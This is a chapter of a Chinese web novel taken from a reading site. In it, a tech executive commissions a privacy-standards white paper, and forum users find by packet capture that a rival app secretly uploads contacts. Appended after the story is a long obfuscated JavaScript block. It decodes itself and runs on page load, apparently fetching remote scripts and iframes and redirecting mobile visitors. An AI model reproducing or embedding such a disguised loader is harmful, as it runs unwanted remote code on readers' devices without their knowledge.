首页
[切换至繁体版]
返回

第六七一章 白皮书

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第六七一章白皮书(第1/2页)
    沪上初夏的清晨,阳光已经带着明显的热度,透过星宇科技顶层办公室的防眩光玻璃,在深色地毯上投下锐利的光斑。
    空气中,中央空调维持着恒定的微凉,混合着红木家具的淡香和一丝若有若无的、林清晓新更换的、更偏冷冽雪松调的香薰气息。
    沈墨华坐在办公桌后,身上是一件熨帖的浅灰色衬衫,袖口挽至肘部,露出线条清晰的小臂。
    他的目光落在面前摊开的几份文件上,那是法务部江岚团队连夜整理出来的、关于“随声”应用疑似违规采集用户数据的初步证据汇编,以及相关的法律条文检索摘要。
    文件内容详实,技术分析由沈绮团队提供支持,逻辑链清晰,直指核心。
    若以此为依据发起诉讼,虽过程必然漫长,但至少能在法律层面上对“连信”公司形成直接打击和牵制。
    然而,沈墨华的指尖在冰凉的纸张边缘轻轻划过,眼神却并未停留在诉讼策略的推演上。
    他的视线越过了眼前具体的法律攻防,投向了一片更广阔、也更需要规则与共识的领域。
    起诉,是最后的武器,是撕破脸皮后的正面决战。
    但在那之前,他需要先站在更高的地方,定义这场“战争”的性质,划定不可逾越的红线。
    他要让所有人,包括潜在的监管者、行业同行、乃至广大用户都看清楚,“连信”和“随声”所做的一切,不仅仅是商业竞争中的“小动作”,而是对整个行业基础信任的侵蚀,是必须被正视和规范的“错误示范”。
    他需要一面旗帜,一个纲领,一个无可指摘的道德与政策制高点。
    “笃笃。”
    办公室的门被轻轻敲响,唐薇薇的声音传来:“沈总,江律师和张总到了。”
    “请进。”沈墨华合上面前的证据汇编,将其推至一旁,仿佛那只是待用的素材,而非此刻的重心。
    江岚和张仲礼一前一后走进来。
    江岚依旧是一身干练的深色西装套裙,手里拿着一个更厚的文件夹,脸色严肃;张仲礼则步履从容,手中端着惯用的紫砂茶杯,眉宇间带着深思的神色。
    两人在沈墨华对面的椅子上坐下。
    “证据材料基本梳理完毕,”江岚开门见山,将手中的文件夹推向沈墨华,“从技术取证到法律要件对应,都有了初步框架。如果要启动正式诉讼程序,我们可以立刻开始起草诉状,并向有管辖权的法院申请证据保全。”
    她的语气专业而冷静,带着法律人特有的审慎与进攻性。
    沈墨华没有去碰那个文件夹,只是目光平静地看向江岚,又转向张仲礼。
    “诉讼,是最后的手段,也是成本最高的手段。”他开口,声音平稳,带着一种超越具体案件的战略考量,
    “现阶段直接对簿公堂,固然能施加压力,但也容易将我们拖入漫长的司法程序和公关混战。‘连信’完全可以辩称是技术疏漏、行业惯例,甚至反诉我们不正当竞争。舆论也可能被模糊焦点。”
    张仲礼缓缓点头,啜饮了一口茶:“墨华考虑得周全。打官司,是‘破’,是惩戒已然之罪。但在‘破’之前,若能先‘立’,先树立规矩,阐明是非,那么未来无论是诉是谈,我们都将占据绝对主动。”
    “正是如此。”沈墨华颔首,身体微微前倾,双手指尖相对,形成一个稳定的三角,目光变得锐利而清晰,
    “江律师,诉讼材料继续准备,要做得更扎实,更无懈可击,但我们暂时不提交。”
    他顿了顿,清晰地抛出自己的决策,
    “我需要你带领法务和战略研究团队,在现有证据和行业观察的基础上,做另一件事——以星瀚互联的名义,起草一份《关于移动互联网应用用户隐私与数据安全保护标准的行业建议白皮书》。”
    “白皮书?”江岚微微扬眉,随即眼中闪过一丝了然的光芒。作为资深法务,她立刻明白了这份文件背后的分量——这不再是针对单一对手的武器,而是试图定义行业规则、影响监管走向的纲领性文件。
    “对,白皮书。”沈墨华肯定道,语气沉稳而充满构建欲,
    “内容要超越具体案例。开篇要阐述移动互联网快速发展背景下,用户数据安全与隐私保护的极端重要性和紧迫性,引用国际上的相关立法趋势和公认的隐私保护原则(如知情同意、最小必要、目的限定等)。”
    他的思路流畅,显然早已深思熟虑,
    “主体部分,基于我们自身的技术实践和对行业乱象的观察,提出一套具体、可操作、分层次的‘移动应用隐私保护标准建议’。包括但不限于:应用权限申请的透明化与分级管理规范、用户数据采集的‘最小必要’原则实施细则、数据本地处理与加密传输的技术标准、后台数据活动的用户可查询机制、以及独立第三方安全审计的引入建议等等。”
    他的手指在虚空中划过,仿佛在勾勒白皮书的章节,
    “最后,要呼吁建立行业自律联盟,倡导头部企业带头遵守,并建议监管部门参考此标准,加快相关立法和执法细则的出台。整份白皮书,立场要公正、前瞻、建设性,数据引用要权威,逻辑要严密,姿态要开放合作。”
    江岚快速在随身携带的笔记本上记录着要点,眼神越来越亮:“我明白了,沈总。这不是诉状,这是一份‘立规矩’的倡议书。将我们发现的‘随声’的问题,放到一个更宏大、更规范的框架下去审视和批判。我们不再是单纯的受害者和起诉者,而是行业健康发展的倡议者和规则制定参与者。”
    她深吸一口气,感受到这份任务背后深远的战略意图,
    “这份白皮书一旦发布,特别是在当前技术社区已经开始关注数据安全问题的背景下,将极具分量。‘连信’将被置于违反‘行业倡导标准’的位置,而我们将牢牢占据道德和政策的制高点。”
    “没错。”沈墨华肯定道,“白皮书的起草要快,但质量必须极高。可以邀请一两位在隐私保护领域有公信力的外部专家学者作为顾问,确保其专业性和中立性。初稿完成后,先在小范围内征求意见,反复打磨。”
    他看向张仲礼:“张老,您看?”
    张仲礼放下茶杯,脸上露出赞许的笑容:“好棋。以立带破,以规则制无序。这份白皮书,就是插在山顶的旗帜。以后无论风向怎么变,旗帜在我们手里。江律师,责任重大啊。”
    江岚郑重地点头:“沈总,张总放心。我会抽调最精干的力量,联合战略部和‘烛’的数据分析团队,一周内拿出高质量初稿。”
    “时间可以稍宽裕,但质量是第一位的。”沈墨华再次强调,然后看向唐薇薇,“唐助理,白皮书项目列为最高优先级,协调所有必要资源,确保起草团队不受干扰。同时,准备相关的发布渠道和沟通方案,待时机成熟,我们要让这份文件发挥最大影响力。”
    “明白。”唐薇薇简洁应道,在记录本上快速标注。
    会议结束,江岚和唐薇薇匆匆离去,投入到新的任务中。
    张仲礼又坐了一会儿,和沈墨华简单交流了几句对行业监管趋势的看法,也起身离开。
    办公室重新恢复安静。
    沈墨华靠向椅背,目光投向窗外明媚却灼人的阳光。
    起诉的利剑已经铸好,但被他收入鞘中。
    取而代之的,是一份正在精心打磨的“规则蓝图”。
    他要走的,是一条更艰难、也更彻底的路——不是仅仅惩罚一个犯规者,而是试图改变犯规者所在的赛场规则。
    这需要耐心,需要智慧,也需要对时机的精准把握。
    他相信,当技术社区的自发质疑持续发酵,当公众的担忧逐渐累积,这份适时出现的、站在行业和用户立场的“标准建议”,将会像一块投入平静湖面的巨石,激起远比单一诉讼更深远、更持久的波澜。
    窗外的城市在阳光下蒸腾着热意,而办公室内,一场没有硝烟的规则定义战,已然悄然进入新的阶段。
    ……
    几天时间在紧张而有序的筹备中悄然流逝。
    星瀚互联顶层,以江岚为首的白皮书起草小组进入了近乎封闭的忙碌状态,办公室的灯光常常亮至深夜。
    沈墨华并未过多干涉具体行文,但他定期听取进展汇报,对核心原则和关键表述的把控极为严格,要求每一个建议都必须有扎实的技术依据或公认的法律伦理基础支撑,确保这份文件经得起最苛刻的审视。
    与此同时,“烛”系统对技术社区舆情的监控从未放松。
    (本章未完,请点击下一页继续阅读)第六七一章白皮书(第2/2页)
    沈墨华每天会花固定时间,浏览“烛”汇总出的关键词云图和重点讨论帖摘要。
    最初那篇“自查文章”引发的涟漪,正在预料之中,持续扩散,并且开始显现出更具体的指向性。
    变化是从一篇发布在某个资深程序员聚集的技术博客(谐音:博客园)上的长文开始的。
    这篇文章的标题颇为直接:《实测:用‘微言’教的方法,我抓到了某‘赚钱社交APP’的后台小动作》。
    作者显然是个技术老手,行文风格冷静,甚至有些枯燥,但配图详实。
    他详细记录了自己按照“微言”官方文章中提及的几种自查方法,对一款他称之为“APP-S”(明显是“随声”的代号)的应用进行监控的全过程。
    文章里贴出了多张经过处理的截图:权限申请列表里“读取通讯录”和“读取短信”被默认勾选且说明含糊;使用某款流量监控软件捕获到的、在凌晨2点至5点期间,该应用向特定IP地址(作者做了部分打码,但给出了IP段特征)发送的、规律性加密数据包的记录;甚至还有一张对捕获数据包进行初步解构分析后的十六进制代码片段,作者用红色箭头标出了其中几段与常见通讯录字段格式高度吻合的数据结构。
    作者在文中没有使用任何情绪化字眼,只是客观陈述测试步骤和发现,并在结尾写道:“**这些行为是否构成‘过度采集’或‘未经授权的数据上传’,需要法律和技术专家进一步判定。但作为一名普通用户和开发者,我认为应用在非活跃时段、未明确告知用户目的的情况下,持续上传可能包含高度敏感信息的数据,这至少是极不透明、且值得高度警惕的。**”
    这篇博客文章如同一点火星,落在了已经蓄满干草的技术社区。
    它提供了比之前更多、更具体、也更“硬核”的疑似证据。
    很快,这篇文章被多个技术论坛转载,标题被改得更加抓人眼球:《实锤?某社交APP深夜偷偷上传你的通讯录!》。
    转载者的按语中,充满了技术人士的愤慨和质疑:“如果连基本的数据边界都不遵守,谈何创新?”、“这是在透支整个行业的信任!”。
    紧接着,更多的“自来水”开始涌现。
    在另一个以分享“技术黑科技”和“避坑指南”著称的极客论坛(谐音:V2EX)上,一个匿名用户发布了一个帖子,标题是:《我也测了,不止‘APP-S’,这几款近期猛推的‘赚钱’‘极速’类APP,后台都不太干净》。
    帖子内容相对简短,但附上了九宫格截图,分别展示了三款不同应用(其中“随声”的特征最为明显)在类似自查方法下呈现的可疑权限和后台流量记录。
    发帖人写道:“**楼主胆小,不敢说得太明。但大家可以用‘微言’那篇文章里的方法自己试试看,尤其是那些安装后疯狂弹窗要你给各种权限、然后承诺给你返现或奖励的。天下没有免费的午餐,你的隐私可能就是他们付给你的‘钱’。**”
    这个帖子迅速成为热帖,回复楼层快速盖起。
    回复中,不断有用户贴上自己的“检测成果”:
    “跟了,测了‘随声’,凌晨真有上传,IP段对得上楼上博客说的那个!”
    “何止通讯录?我这边抓包看到好像还有短信列表的摘要信息……虽然加密了,但特征很像。”
    “我是做移动安全的,负责任地说,这种模式根本不是正常功能需要的。典型的数据收集,甚至可能打包卖掉。”
    “‘连信’这家公司背景好像挺复杂,以前好像做过SP业务(移动增值服务),懂得都懂。”
    “感谢‘微言’的科普,不然真被蒙在鼓里。这种偷偷摸摸的行为太恶心了。”
    “难道没人管吗?@相关部门这种算不算违法?”
    也有零星为“随声”辩解或试图转移焦点的声音,但很快被更多技术举证和质疑淹没:“**别洗了,有本事公开你的数据采集协议和加密传输内容啊?敢不敢让第三方审计?**”
    这些来自用户自发的、基于技术手段的发现和分享,如同无数条涓涓细流,开始在互联网的沟壑中汇聚,水声渐响。
    “随声
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();